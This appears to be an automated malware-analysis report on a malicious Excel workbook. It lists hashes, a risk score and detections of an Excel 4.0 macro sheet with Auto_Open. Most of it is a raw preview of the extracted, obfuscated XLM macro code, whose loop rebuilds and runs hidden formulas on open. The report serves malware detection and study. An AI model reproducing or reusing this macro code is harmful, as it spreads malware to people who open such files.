Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 042a5bed02597cf0…

MALICIOUS

Office (OOXML)

23.3 KB Created: 2021-03-25 12:38:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10
MD5: c8a3b5c2a76152d58f56e3c5a44affb8 SHA-1: 5228ed3edf68f74b00e15f115c73b7a1a6445625 SHA-256: 042a5bed02597cf0e15a00049ef42b35829509b2c6bab5e50fe3badcdced6781
122 Risk Score

Heuristics 3

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 24609 bytes
SHA-256: a609e78eee8dae658063dea9065e94faa7ec012d3b873c6f42954a4f6f21ea1a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{0E7927E8-E49D-49FC-8FDB-7CB6E3B417C2}"><dimension ref="A49:AI96"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="26" max="26" width="19.7109375" customWidth="1"/></cols><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">CuXXVTV=A49</f><v>0</v></c><c r="C50"><v>-913</v></c><c r="D50" t="str"><f>"=CA"</f><v>=CA</v></c><c r="E50" t="str"><f>"=ON"</f><v>=ON</v></c><c r="F50" t="str"><f>"=HA"</f><v>=HA</v></c><c r="G50" t="str"><f>"fi"</f><v>fi</v></c><c r="H50" t="str"><f>"ex"</f><v>ex</v></c><c r="I50" t="str"><f>"weal"</f><v>weal</v></c><c r="J50" t="str"><f>"=W"</f><v>=W</v></c><c r="K50" t="str"><f>"fav"</f><v>fav</v></c><c r="L50" t="str"><f>"exp"</f><v>exp</v></c><c r="M50" t="str"><f>"elem"</f><v>elem</v></c><c r="N50" t="str"><f>"=WHI"</f><v>=WHI</v></c><c r="O50" t="str"><f>"fav"</f><v>fav</v></c><c r="P50" t="str"><f>"=I"</f><v>=I</v></c><c r="Q50" t="str"><f>"=IF"</f><v>=IF</v></c><c r="R50" t="str"><f>"favo"</f><v>favo</v></c><c r="S50" t="str"><f>"=EL"</f><v>=EL</v></c><c r="T50" t="str"><f>"or"</f><v>or</v></c><c r="U50" t="str"><f>"su"</f><v>su</v></c><c r="V50" t="str"><f>"fi"</f><v>fi</v></c><c r="W50" t="str"><f>"el"</f><v>el</v></c><c r="X50" t="str"><f>"=END"</f><v>=END</v></c><c r="Y50" t="str"><f>"=NEX"</f><v>=NEX</v></c><c r="Z50" t="str"><f>"=F"</f><v>=F</v></c><c r="AA50" t="str"><f>"=N"</f><v>=N</v></c><c r="AB50" t="str"><f>"=R"</f><v>=R</v></c><c r="AC50" t="str"><f>"de"</f><v>de</v></c><c r="AD50" t="str"><f>"legi"</f><v>legi</v></c><c r="AE50" t="str"><f>"agre"</f><v>agre</v></c><c r="AF50" t="str"><f>"orie"</f><v>orie</v></c><c r="AG50" t="str"><f>"prom"</f><v>prom</v></c><c r="AH50" t="str"><f>"reco"</f><v>reco</v></c><c r="AI50" t="str"><f>"=de"</f><v>=de</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="A51" t="b"><f>WHILE(AND(CuXXVTV&lt;32))</f><v>0</v></c><c r="C51"><v>-319</v></c><c r="D51" t="s"><v>0</v></c><c r="E51" t="s"><v>18</v></c><c r="F51" t="s"><v>30</v></c><c r="G51" t="s"><v>32</v></c><c r="H51" t="s"><v>36</v></c><c r="I51" t="s"><v>41</v></c><c r="J51" t="s"><v>49</v></c><c r="K51" t="s"><v>59</v></c><c r="L51" t="s"><v>63</v></c><c r="M51" t="s"><v>71</v></c><c r="N51" t="s"><v>76</v></c><c r="O51" t="s"><v>83</v></c><c r="P51" t="s"><v>88</v></c><c r="Q51" t="s"><v>111</v></c><c r="R51" t="s"><v>115</v></c><c r="S51" t="s"><v>118</v></c><c r="T51" t="s"><v>120</v></c><c r="U51" t="s"><v>133</v></c><c r="V51" t="s"><v>147</v></c><c r="W51" t="s"><v>154</v></c><c r="X51" t="s"><v>167</v></c><c r="Y51" t="s"><v>170</v></c><c r="Z51" t="s"><v>172</v></c><c r="AA51" t="s"><v>193</v></c><c r="AB51" t="s"><v>197</v></c><c r="AC51" t="s"><v>201</v></c><c r="AD51" t="s"><v>206</v></c><c r="AE51" t="s"><v>210</v></c><c r="AF51" t="s"><v>213</v></c><c r="AG51" t="s"><v>220</v></c><c r="AH51" t="s"><v>223</v></c><c r="AI51" t="s"><v>228</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="A52"><f>COUNT($D$2:$D$49)</f><v>0</v></c><c r="C52"><v>507</v></c><c r="D52" t="str"><f>"LL("</f><v>LL(</v></c><c r="E52" t="str"><f>".T"</f><v>.T</v></c><c r="F52" t="str"><f>"LT()"</f><v>LT()</v></c><c r="G52" t="str"><f>"ght"</f><v>ght</v></c><c r="H52" t="str"><f>"pend"</f><v>pend</v></c><c r="I52" t="str"><f>"th="</f><v>th=</v></c><c r="J52" t="str"><f>"HILE"</f><v>HILE</v></c><c r="K52" t="str"><f>"or"</f><v>or</v></c><c r="L52" t="str"><f>"end"</f><v>end</v></c><c r="M52" t="str"><f>"ent"</f><v>ent</v></c><c r="N52" t="str"><f>"LE("</f><v>LE(</v></c><c r="O52" t="str"><f>"or"</f><v>or</v></c><c r="P52" t="str"><f>"NDIR"</f><v>NDIR</v></c><c r="Q52" t="str"><f>"(R88"</f><v>(R88</v></c><c r="R52" t="str"><f>"rs="</f><v>rs=</v></c><c r="S52" t="str"><f>"SE()"</f><v>SE()</v></c><c r="T52" t="str"><f>"ga"</f><v>ga</v></c><c r="U52" t="str"><f>"pp"</f><v>pp</v></c><c r="V52" t="str"><f>"ght"</f><v>ght</v></c><c r="W52" t="str"><f>"emen"</f><v>emen</v></c><c r="X52" t="str"><f>".I"</f><v>.I</v></c><c r="Y52" t="str"><f>"T()"</f><v>T()</v></c><c r="Z52" t="str"><f>"OR"</f><v>OR</v></c><c r="AA52" t="str"><f>"EX"</f><v>EX</v></c><c r="AB52" t="str"><f>"ET"</f><v>ET</v></c><c r="AC52" t="str"><f>"lh"</f><v>lh</v></c><c r="AD52" t="str"><f>"sla"</f><v>sla</v></c><c r="AE52" t="str"><f>"ed"</f><v>ed</v></c><c r="AF52" t="str"><f>"nte"</f><v>nte</v></c><c r="AG52" t="str"><f>"isin"</f><v>isin</v></c><c r="AH52" t="str"><f>"rds"</f><v>rds</v></c><c r="AI52" t="str"><f>"lhi("</f><v>lhi(</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="C53"><v>-889</v></c><c r="D53" t="s"><v>1</v></c><c r="E53" t="s"><v>19</v></c><c r="F53" t="s"><v>31</v></c><c r="G53" t="s"><v>33</v></c><c r="H53" t="s"><v>37</v></c><c r="I53" t="s"><v>42</v></c><c r="J53" t="s"><v>50</v></c><c r="K53" t="s"><v>60</v></c><c r="L53" t="s"><v>64</v></c><c r="M53" t="s"><v>72</v></c><c r="N53" t="s"><v>77</v></c><c r="O53" t="s"><v>84</v></c><c r="P53" t="s"><v>89</v></c><c r="Q53" t="s"><v>112</v></c><c r="R53" t="s"><v>116</v></c><c r="S53" t="s"><v>119</v></c><c r="T53" t="s"><v>121</v></c><c r="U53" t="s"><v>134</v></c><c r="V53" t="s"><v>148</v></c><c r="W53" t="s"><v>155</v></c><c r="X53" t="s"><v>168</v></c><c r="Y53" t="s"><v>171</v></c><c r="Z53" t="s"><v>173</v></c><c r="AA53" t="s"><v>194</v></c><c r="AB53" t="s"><v>198</v></c><c r="AC53" t="s"><v>202</v></c><c r="AD53" t="s"><v>207</v></c><c r="AE53" t="s"><v>211</v></c><c r="AF53" t="s"><v>214</v></c><c r="AG53" t="s"><v>221</v></c><c r="AH53" t="s"><v>224</v></c><c r="AI53" t="s"><v>229</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="A54" t="b"><f bx="1">bwkweGB=-2</f><v>0</v></c><c r="C54"><v>-539</v></c><c r="D54" t="str"><f>"""Xl"</f><v>"Xl</v></c><c r="E54" t="str"><f>"IME"</f><v>IME</v></c><c r="F54" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="G54" t="str"><f>"er"</f><v>er</v></c><c r="H54" t="str"><f>"it"</f><v>it</v></c><c r="I54" t="str"><f>"RO"</f><v>RO</v></c><c r="J54" t="str"><f>"(ex"</f><v>(ex</v></c><c r="K54" t="str"><f>"s=-"</f><v>s=-</v></c><c r="L54" t="str"><f>"it"</f><v>it</v></c><c r="M54" t="str"><f>"ar"</f><v>ar</v></c><c r="N54" t="str"><f>"favo"</f><v>favo</v></c><c r="O54" t="str"><f>"s=fa"</f><v>s=fa</v></c><c r="P54" t="str"><f>"EC"</f><v>EC</v></c><c r="Q54" t="str"><f>"C1&gt;1"</f><v>C1&gt;1</v></c><c r="R54" t="str"><f>"500"</f><v>500</v></c><c r="S54" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="T54" t="str"><f>"ni"</f><v>ni</v></c><c r="U54" t="str"><f>"os"</f><v>os</v></c><c r="V54" t="str"><f>"ers="</f><v>ers=</v></c><c r="W54" t="str"><f>"tary"</f><v>tary</v></c><c r="X54" t="str"><f>"F()"</f><v>F()</v></c><c r="Y54" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="Z54" t="str"><f>"MUL"</f><v>MUL</v></c><c r="AA54" t="str"><f>"T("</f><v>T(</v></c><c r="AB54" t="str"><f>"UR"</f><v>UR</v></c><c r="AC54" t="str"><f>"i=R7"</f><v>i=R7</v></c><c r="AD54" t="str"><f>"tive"</f><v>tive</v></c><c r="AE54" t="str"><f>"=1"</f><v>=1</v></c><c r="AF54" t="str"><f>"d=R5"</f><v>d=R5</v></c><c r="AG54" t="str"><f>"g=17"</f><v>g=17</v></c><c r="AH54" t="str"><f>"=R10"</f><v>=R10</v></c><c r="AI54" t="str"><f>")"</f><v>)</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="C55"><v>358</v></c><c r="D55" t="s"><v>2</v></c><c r="E55" t="s"><v>20</v></c><c r="G55" t="s"><v>34</v></c><c r="H55" t="s"><v>38</v></c><c r="I55" t="s"><v>43</v></c><c r="J55" t="s"><v>51</v></c><c r="K55" t="s"><v>61</v></c><c r="L55" t="s"><v>65</v></c><c r="M55" t="s"><v>73</v></c><c r="N55" t="s"><v>78</v></c><c r="O55" t="s"><v>85</v></c><c r="P55" t="s"><v>90</v></c><c r="Q55" t="s"><v>113</v></c><c r="R55" t="s"><v>117</v></c><c r="T55" t="s"><v>122</v></c><c r="U55" t="s"><v>135</v></c><c r="V55" t="s"><v>149</v></c><c r="W55" t="s"><v>156</v></c><c r="X55" t="s"><v>169</v></c><c r="Z55" t="s"><v>174</v></c><c r="AA55" t="s"><v>195</v></c><c r="AB55" t="s"><v>199</v></c><c r="AC55" t="s"><v>203</v></c><c r="AD55" t="s"><v>208</v></c><c r="AE55" t="s"><v>212</v></c><c r="AF55" t="s"><v>215</v></c><c r="AG55" t="s"><v>222</v></c><c r="AH55" t="s"><v>225</v></c><c r="AI55" t="s"><v>230</v></c></row><row r="56" spans="1:35" x14ac:dyDescent="0.25"><c r="A56" t="b"><f bx="1">CuXXVTV=CuXXVTV+1</f><v>0</v></c><c r="C56"><v>-785</v></c><c r="D56" t="str"><f>"ca"</f><v>ca</v></c><c r="E56" t="str"><f>"(N"</f><v>(N</v></c><c r="G56" t="str"><f>"s=0"</f><v>s=0</v></c><c r="H56" t="str"><f>"ure"</f><v>ure</v></c><c r="I56" t="str"><f>"WS"</f><v>WS</v></c><c r="J56" t="str"><f>"pend"</f><v>pend</v></c><c r="K56" t="str"><f>"1"</f><v>1</v></c><c r="L56" t="str"><f>"ure"</f><v>ure</v></c><c r="M56" t="str"><f>"y="</f><v>y=</v></c><c r="N56" t="str"><f>"rs"</f><v>rs</v></c><c r="O56" t="str"><f>"vo"</f><v>vo</v></c><c r="P56" t="str"><f>"T(AD"</f><v>T(AD</v></c><c r="Q56" t="str"><f>"000)"</f><v>000)</v></c><c r="R56" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="T56" t="str"><f>"sati"</f><v>sati</v></c><c r="U56" t="str"><f>"ed="</f><v>ed=</v></c><c r="V56" t="str"><f>"figh"</f><v>figh</v></c><c r="W56" t="str"><f>"=e"</f><v>=e</v></c><c r="X56" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="Z56" t="str"><f>"A(e"</f><v>A(e</v></c><c r="AA56" t="str"><f>")"</f><v>)</v></c><c r="AB56" t="str"><f>"N()"</f><v>N()</v></c><c r="AC56" t="str"><f>"9C"</f><v>9C</v></c><c r="AD56" t="str"><f>"=50"</f><v>=50</v></c><c r="AE56" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="AF56" t="str"><f>"0C3"</f><v>0C3</v></c><c r="AG56" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="AH56" t="str"><f>"8C"</f><v>8C</v></c><c r="AI56" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c></row><row r="57" spans="1:35" x14ac:dyDescent="0.25"><c r="C57"><v>-797</v></c><c r="D57" t="s"><v>3</v></c><c r="E57" t="s"><v>21</v></c><c r="G57" t="s"><v>35</v></c><c r="H57" t="s"><v>39</v></c><c r="I57" t="s"><v>44</v></c><c r="J57" t="s"><v>52</v></c><c r="K57" t="s"><v>62</v></c><c r="L57" t="s"><v>66</v></c><c r="M57" t="s"><v>74</v></c><c r="N57" t="s"><v>79</v></c><c r="O57" t="s"><v>86</v></c><c r="P57" t="s"><v>91</v></c><c r="Q57" t="s"><v>114</v></c><c r="T57" t="s"><v>123</v></c><c r="U57" t="s"><v>136</v></c><c r="V57" t="s"><v>150</v></c><c r="W57" t="s"><v>157</v></c><c r="Z57" t="s"><v>175</v></c><c r="AA57" t="s"><v>196</v></c><c r="AB57" t="s"><v>200</v></c><c r="AC57" t="s"><v>204</v></c><c r="AD57" t="s"><v>209</v></c><c r="AF57" t="s"><v>216</v></c><c r="AH57" t="s"><v>226</v></c></row><row r="58" spans="1:35" x14ac:dyDescent="0.25"><c r="A58" t="b"><f bx="1">PTgcwXPpOdMnmZ=""</f><v>0</v></c><c r="C58"><v>-609</v></c><c r="D58" t="str"><f>"ll"</f><v>ll</v></c><c r="E58" t="str"><f>"OW()"</f><v>OW()</v></c><c r="G58" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="H58" t="str"><f>"=0"</f><v>=0</v></c><c r="I58" t="str"><f>"(or"</f><v>(or</v></c><c r="J58" t="str"><f>"itu"</f><v>itu</v></c><c r="K58" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="L58" t="str"><f>"=exp"</f><v>=exp</v></c><c r="M58" t="str"><f>""""""</f><v>""</v></c><c r="N58" t="str"><f>"&lt;5"</f><v>&lt;5</v></c><c r="O58" t="str"><f>"rs+1"</f><v>rs+1</v></c><c r="P58" t="str"><f>"DRES"</f><v>DRES</v></c><c r="Q58" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="T58" t="str"><f>"ons="</f><v>ons=</v></c><c r="U58" t="str"><f>"INDE"</f><v>INDE</v></c><c r="V58" t="str"><f>"te"</f><v>te</v></c><c r="W58" t="str"><f>"leme"</f><v>leme</v></c><c r="Z58" t="str"><f>"leme"</f><v>leme</v></c><c r="AA58" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="AB58" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="AC58" t="str"><f>"1"</f><v>1</v></c><c r="AD58" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="AF58" t="str"><f>":R5"</f><v>:R5</v></c><c r="AH58" t="str"><f>"1"</f><v>1</v></c></row><row r="59" spans="1:35" x14ac:dyDescent="0.25"><c r="C59"><v>-730</v></c><c r="D59" t="s"><v>4</v></c><c r="E59" t="s"><v>22</v></c><c r="H59" t="s"><v>40</v></c><c r="I59" t="s"><v>45</v></c><c r="J59" t="s"><v>53</v></c><c r="L59" t="s"><v>67</v></c><c r="M59" t="s"><v>75</v></c><c r="N59" t="s"><v>80</v></c><c r="O59" t="s"><v>87</v></c><c r="P59" t="s"><v>92</v></c><c r="T59" t="s"><v>124</v></c><c r="U59" t="s"><v>137</v></c><c r="V59" t="s"><v>151</v></c><c r="W59" t="s"><v>158</v></c><c r="Z59" t="s"><v>176</v></c><c r="AC59" t="s"><v>205</v></c><c r="AF59" t="s"><v>217</v></c><c r="AH59" t="s"><v>227</v></c></row><row r="60" spans="1:35" x14ac:dyDescent="0.25"><c r="A60" t="b"><f>WHILE(bwkweGB&lt;207)</f><v>0</v></c><c r="D60" t="str"><f>"32"","</f><v>32",</v></c><c r="E60" t="str"><f>"+""0"</f><v>+"0</v></c><c r="H60" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="I60" t="str"><f>"ien"</f><v>ien</v></c><c r="J60" t="str"><f>"re"</f><v>re</v></c><c r="L60" t="str"><f>"end"</f><v>end</v></c><c r="M60" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="N60" t="str"><f>"00"</f><v>00</v></c><c r="O60" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="P60" t="str"><f>"S("</f><v>S(</v></c><c r="T60" t="str"><f>"MOD("</f><v>MOD(</v></c><c r="U60" t="str"><f>"X(or"</f><v>X(or</v></c><c r="V60" t="str"><f>"rs+"</f><v>rs+</v></c><c r="W60" t="str"><f>"ntar"</f><v>ntar</v></c><c r="Z60" t="str"><f>"ntar"</f><v>ntar</v></c><c r="AC60" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="AF60" t="str"><f>"9C"</f><v>9C</v></c><c r="AH60" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c></row><row r="61" spans="1:35" x14ac:dyDescent="0.25"><c r="D61" t="s"><v>5</v></c><c r="E61" t="s"><v>23</v></c><c r="I61" t="s"><v>46</v></c><c r="J61" t="s"><v>54</v></c><c r="L61" t="s"><v>68</v></c><c r="N61" t="s"><v>81</v></c><c r="P61" t="s"><v>93</v></c><c r="T61" t="s"><v>125</v></c><c r="U61" t="s"><v>138</v></c><c r="V61" t="s"><v>152</v></c><c r="W61" t="s"><v>159</v></c><c r="Z61" t="s"><v>177</v></c><c r="AF61" t="s"><v>218</v></c></row><row r="62" spans="1:35" x14ac:dyDescent="0.25"><c r="D62" t="str"><f>"""Ex"</f><v>"Ex</v></c><c r="E62" t="str"><f>"0:"</f><v>0:</v></c><c r="I62" t="str"><f>"ted"</f><v>ted</v></c><c r="J62" t="str"><f>"&lt;pr"</f><v>&lt;pr</v></c><c r="L62" t="str"><f>"itur"</f><v>itur</v></c><c r="N62" t="str"><f>")"</f><v>)</v></c><c r="P62" t="str"><f>"fav"</f><v>fav</v></c><c r="T62" t="str"><f>"fig"</f><v>fig</v></c><c r="U62" t="str"><f>"ie"</f><v>ie</v></c><c r="V62" t="str"><f>"1"</f><v>1</v></c><c r="W62" t="str"><f>"y&amp;C"</f><v>y&amp;C</v></c><c r="Z62" t="str"><f>"y,A"</f><v>y,A</v></c><c r="AF62" t="str"><f>"3"</f><v>3</v></c></row><row r="63" spans="1:35" x14ac:dyDescent="0.25"><c r="A63" t="b"><f bx="1">bwkweGB=bwkweGB+2</f><v>0</v></c><c r="D63" t="s"><v>6</v></c><c r="E63" t="s"><v>24</v></c><c r="I63" t="s"><v>47</v></c><c r="J63" t="s"><v>55</v></c><c r="L63" t="s"><v>69</v></c><c r="N63" t="s"><v>82</v></c><c r="P63" t="s"><v>94</v></c><c r="T63" t="s"><v>126</v></c><c r="U63" t="s"><v>139</v></c><c r="V63" t="s"><v>153</v></c><c r="W63" t="s"><v>160</v></c><c r="Z63" t="s"><v>178</v></c><c r="AF63" t="s"><v>219</v></c></row><row r="64" spans="1:35" x14ac:dyDescent="0.25"><c r="D64" t="str"><f>"cel4"</f><v>cel4</v></c><c r="E64" t="str"><f>"00:0"</f><v>00:0</v></c><c r="I64" t="str"><f>")"</f><v>)</v></c><c r="J64" t="str"><f>"omi"</f><v>omi</v></c><c r="L64" t="str"><f>"e+1"</f><v>e+1</v></c><c r="N64" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="P64" t="str"><f>"ors"</f><v>ors</v></c><c r="T64" t="str"><f>"hte"</f><v>hte</v></c><c r="U64" t="str"><f>"nt"</f><v>nt</v></c><c r="V64" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="W64" t="str"><f>"HAR("</f><v>HAR(</v></c><c r="Z64" t="str"><f>"BS"</f><v>BS</v></c><c r="AF64" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c></row><row r="65" spans="1:26" x14ac:dyDescent="0.25"><c r="A65" t="e"><f>ASC(OFFSET($C$50,bwkweGB,CuXXVTV))</f><v>#NAME?</v></c><c r="D65" t="s"><v>7</v></c><c r="E65" t="s"><v>25</v></c><c r="I65" t="s"><v>48</v></c><c r="J65" t="s"><v>56</v></c><c r="L65" t="s"><v>70</v></c><c r="P65" t="s"><v>95</v></c><c r="T65" t="s"><v>127</v></c><c r="U65" t="s"><v>140</v></c><c r="W65" t="s"><v>161</v></c><c r="Z65" t="s"><v>179</v></c></row><row r="66" spans="1:26" x14ac:dyDescent="0.25"><c r="D66" t="str"><f>""",""2"</f><v>","2</v></c><c r="E66" t="str"><f>"1"", "</f><v xml:space="preserve">1", </v></c><c r="I66" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="J66" t="str"><f>"sing"</f><v>sing</v></c><c r="L66" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="P66" t="str"><f>"+leg"</f><v>+leg</v></c><c r="T66" t="str"><f>"rs"</f><v>rs</v></c><c r="U66" t="str"><f>"ed,"</f><v>ed,</v></c><c r="W66" t="str"><f>"R88"</f><v>R88</v></c><c r="Z66" t="str"><f>"REF("</f><v>REF(</v></c></row><row r="67" spans="1:26" x14ac:dyDescent="0.25"><c r="A67" t="e"><f>IF($A$65="QtugqbnawLGFsL",SET.NAME("bwkweGB",207),SET.NAME("PTgcwXPpOdMnmZ",PTgcwXPpOdMnmZ&amp;$A$65))</f><v>#NAME?</v></c><c r="D67" t="s"><v>8</v></c><c r="E67" t="s"><v>26</v></c><c r="J67" t="s"><v>57</v></c><c r="P67" t="s"><v>96</v></c><c r="T67" t="s"><v>128</v></c><c r="U67" t="s"><v>141</v></c><c r="W67" t="s"><v>162</v></c><c r="Z67" t="s"><v>180</v></c></row><row r="68" spans="1:26" x14ac:dyDescent="0.25"><c r="A68" t="b"><f>NEXT()</f><v>0</v></c><c r="D68" t="str"><f>"JR"</f><v>JR</v></c><c r="E68" t="str"><f>"""R"</f><v>"R</v></c><c r="J68" t="str"><f>")"</f><v>)</v></c><c r="P68" t="str"><f>"isl"</f><v>isl</v></c><c r="T68" t="str"><f>",we"</f><v>,we</v></c><c r="U68" t="str"><f>"orga"</f><v>orga</v></c><c r="W68" t="str"><f>"C1-s"</f><v>C1-s</v></c><c r="Z68" t="str"><f>"""R"</f><v>"R</v></c></row><row r="69" spans="1:26" x14ac:dyDescent="0.25"><c r="D69" t="s"><v>9</v></c><c r="E69" t="s"><v>27</v></c><c r="J69" t="s"><v>58</v></c><c r="P69" t="s"><v>97</v></c><c r="T69" t="s"><v>129</v></c><c r="U69" t="s"><v>142</v></c><c r="W69" t="s"><v>163</v></c><c r="Z69" t="s"><v>181</v></c></row><row r="70" spans="1:26" x14ac:dyDescent="0.25"><c r="D70" t="str"><f>"JR"</f><v>JR</v></c><c r="E70" t="str"><f>"101C"</f><v>101C</v></c><c r="J70" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="P70" t="str"><f>"at"</f><v>at</v></c><c r="T70" t="str"><f>"al"</f><v>al</v></c><c r="U70" t="str"><f>"ni"</f><v>ni</v></c><c r="W70" t="str"><f>"uppo"</f><v>uppo</v></c><c r="Z70" t="str"><f>"[""&amp;("</f><v>["&amp;(</v></c></row><row r="71" spans="1:26" x14ac:dyDescent="0.25"><c r="A71" t="b"><f>SUM(1,2)=(((((FORMULA.FILL(PTgcwXPpOdMnmZ,OFFSET($A$76,CuXXVTV-1,0)))))))</f><v>0</v></c><c r="D71" t="s"><v>10</v></c><c r="E71" t="s"><v>28</v></c><c r="P71" t="s"><v>98</v></c><c r="T71" t="s"><v>130</v></c><c r="U71" t="s"><v>143</v></c><c r="W71" t="s"><v>164</v></c><c r="Z71" t="s"><v>182</v></c></row><row r="72" spans="1:26" x14ac:dyDescent="0.25"><c r="A72" t="b"><f>NEXT()</f><v>0</v></c><c r="D72" t="str"><f>"R#"","</f><v>R#",</v></c><c r="E72" t="str"><f>"1"")"</f><v>1")</v></c><c r="P72" t="str"><f>"iv"</f><v>iv</v></c><c r="T72" t="str"><f>"th)+"</f><v>th)+</v></c><c r="U72" t="str"><f>"sa"</f><v>sa</v></c><c r="W72" t="str"><f>"sed"</f><v>sed</v></c><c r="Z72" t="str"><f>"exp"</f><v>exp</v></c></row><row r="73" spans="1:26" x14ac:dyDescent="0.25"><c r="D73" t="s"><v>11</v></c><c r="E73" t="s"><v>29</v></c><c r="P73" t="s"><v>99</v></c><c r="T73" t="s"><v>131</v></c><c r="U73" t="s"><v>144</v></c><c r="W73" t="s"><v>165</v></c><c r="Z73" t="s"><v>183</v></c></row><row r="74" spans="1:26" x14ac:dyDescent="0.25"><c r="D74" t="str"><f>"4,"</f><v>4,</v></c><c r="E74" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="P74" t="str"><f>"e,"</f><v>e,</v></c><c r="T74" t="str"><f>"1"</f><v>1</v></c><c r="U74" t="str"><f>"tio"</f><v>tio</v></c><c r="W74" t="str"><f>")"</f><v>)</v></c><c r="Z74" t="str"><f>"end"</f><v>end</v></c></row><row r="75" spans="1:26" x14ac:dyDescent="0.25"><c r="D75" t="s"><v>12</v></c><c r="P75" t="s"><v>100</v></c><c r="T75" t="s"><v>132</v></c><c r="U75" t="s"><v>145</v></c><c r="W75" t="s"><v>166</v></c><c r="Z75" t="s"><v>184</v></c></row><row r="76" spans="1:26" x14ac:dyDescent="0.25"><c r="D76" t="str"><f>",2"</f><v>,2</v></c><c r="P76" t="str"><f>"ex"</f><v>ex</v></c><c r="T76" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="U76" t="str"><f>"ns)"</f><v>ns)</v></c><c r="W76" 